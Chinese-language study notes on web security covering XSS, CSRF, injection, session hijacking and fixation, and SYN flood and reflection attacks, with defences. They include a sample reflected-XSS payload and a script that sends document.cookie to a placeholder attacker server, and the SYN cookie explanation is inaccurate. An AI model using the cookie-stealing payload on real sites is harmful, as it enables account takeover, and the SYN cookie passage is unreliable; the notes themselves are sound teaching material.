一、定義:黑客通過“html注入”篡改了網頁,插入了惡意的腳本,進而在使用者遊覽網頁時,控制使用者遊覽器攻擊的一種行為。
二、分類:
1. 反射性xss:把使用者輸入的資料反射給遊覽器(誘使使用者“點選”一個惡意的連結)篡改連結->使用者通路->跳轉執行腳本
<code><?php</code>
<code>echo $_get["test"];</code>
<code>?></code>
使用者送出:ip?test=<script>alert("test")</script>。遊覽器即會執行相應的腳本
2. 存儲型xss:把使用者輸入的資料“存儲”在伺服器端。如黑客上傳含有惡意js代碼的部落格文章到網站伺服器,訪客遊覽網頁部落格時,在他們的遊覽器中惡意執行這段代碼
3. dom base xss:通過修改網頁dom節點形成的xss。當網站通過表單讓使用者輸入内容而實作動态修改網頁dom節點的互動功能時,若黑客惡意構造特定格式腳本内容,就可能造成dom base xss。
三、危害
1. xss可實作cookie劫持:攻擊者可直接利用注入的js腳本擷取cookie,進而通過異步請求把辨別session id的cookie上報給攻擊者。
比如可以在網站上嵌入<script>window.open('hackersever?msg='+document.cookie)</script>。将使用者cookie發送至攻擊者的伺服器,伺服器擷取使用者cookie,攻擊者即可利用其登入到使用者賬戶中。
2. 通過模拟get、post請求操作使用者的遊覽器。如在使用者登入郵箱後擷取其郵件資訊。(先通過正常抓包擷取相應通路連結及其請求内容,再通過模拟請求擷取)
3. xss釣魚
(1)xss重定向釣魚(xss redirect phishing):将目前頁面重定向到仿冒正常網站的頁面中,進行欺詐活動
(2)html注入式釣魚(xss html inject phishing):如動态嵌入一個form表單,誘使使用者填寫相應資訊進行盜取
(3)xss 跨架構釣魚(iframe phishing):通過<iframe>标簽嵌入遠端域的一個頁面實施釣魚。,而此時首頁面依然處在正常網站的域名下,是以具有很高的迷惑性。
四、xss的防禦
1. 設定httponly->防禦cookie劫持攻擊,如果cookie設定了httponly,js就讀取不到cookie的值。httponly在伺服器第一次傳回發送set-cookie時(同時向用戶端遊覽器寫入cookie)标記,它可以選擇性地加在任何一個cookie上
2.輸入檢查(xss filter):如對特殊符号進行轉義,特殊語句進行檢查過濾等。尤其對于富文本(使用者送出一些自定義的html代碼)“事件“應該被嚴格禁止,同時也應包括一些比較危險的标簽如<iframe>、<script>、<base>、<form>等。
一、 定義:攻擊者盜用使用者身份,并以使用者身份發送惡意請求。csrf攻擊是源于web的隐式身份驗證機制。web的身份驗證機制雖然可以保證一個請求是來自于某個使用者的浏覽器,但卻無法保證該請求是使用者準許發送的。一般來說,完成一次攻擊需經過兩步:
1.登入受信任網站a,并在本地生成cookie。 2.在不登出a的情況下,通路危險網站b。
二、csrf的防禦
1. 服務與用戶端互動進行csrf防禦:先構造third-party cookie。同時在表單中增加經過hashing的cookie值随表單送出發送到伺服器,在伺服器擷取cookie和表單加密cookie進行hash校驗。
2. 驗證碼校驗,使用者每次送出請求需填寫一個圖檔上的随機字元串,理論上可以完全解決csrf的問題
3. one-time tokens(不同的表單包含一個不同的僞随機值),實作思路:
(1)編寫token生成函數
(2)在每次生成表單時,調用token生成函數,增添隐藏域存儲token,考慮到不同的表單包含一個不同的僞随機值,還需同時生成通路對應token的索引
(3)服務端核對token,表單送出時,服務端根據送出的索引擷取session域對應token,與送出的token進行核對。
一、 注入攻擊的本質,是把使用者輸入的資料當做代碼執行。其中有兩個關鍵點:
1、使用者能夠控制輸入。
2、原本程式要執行的代碼,平走了使用者輸入的資料
二、session安全
當使用者登入認證後,在伺服器端就會建立一個新的會話(session),會話中儲存使用者的狀态和相關資訊,同時生成一個遊覽器端對使用者透明的憑證,即為sessionid
1、session劫持:黑客通過竊取使用者sessionid後,使用該sessionid登入進目标使用者。
2、session fixation攻擊:使用者登入前後的sessionid未發生改變,就會存在此問題。具體的攻擊過程為:攻擊者先擷取一個未認證的sessionid,并将其交給使用者認證,若使用者認證後,伺服器并未更新此sessionid的值,攻擊者就可以憑借此sessionid登入使用者賬戶。如果sessionid儲存在cookie中,攻擊者較難讓使用者使用這個sessionid,但如果由于youlan遊覽器不支援cookie等原因,sessionid做為參數出現在url時,攻擊者隻要誘使使用者打開特定url即可。而解決session
fixation的正确做法,是在登入完成後,重寫sessionid
3、session保持攻擊,一般來說,session是有生命周期的,當使用者長時間未活動,或者登出使用者後,使用者session将會被銷毀。但如果攻擊者竊取并一直持有使用者有效的session(比如間隔性的重新整理網頁),就能一直使用使用者的賬戶,形成session保持攻擊。
在sever收到syn,seq後,處于半連接配接狀态,發送資料包并等待client回應,由于client在短時間内僞造大量不存在的ip位址,并向server不斷地發送syn包,server回複确認包,并等待client的确認,由于源位址是不存在的,是以,server需要不斷重發直至逾時,這些僞造的syn包将産時間占用未連接配接隊列,導緻正常的syn請求因為隊列滿而被丢棄,進而引起網絡堵塞甚至系統癱瘓
其中syn cookie是對抗syn flood的主要措施之一,它的主要思想是為每一個ip位址配置設定一個"cookie",并統計每個ip位址的通路頻率。如果在短時間内收到大量來自同一個ip位址的資料包,則認為受到攻擊,之後來自這個ip位址的包将被丢棄。
攻擊流程如下所示:
黑客僞造受害者id
->向大量伺服器發送請求
->大量伺服器響應請求(發送應答包)
->受害者主機忙于處理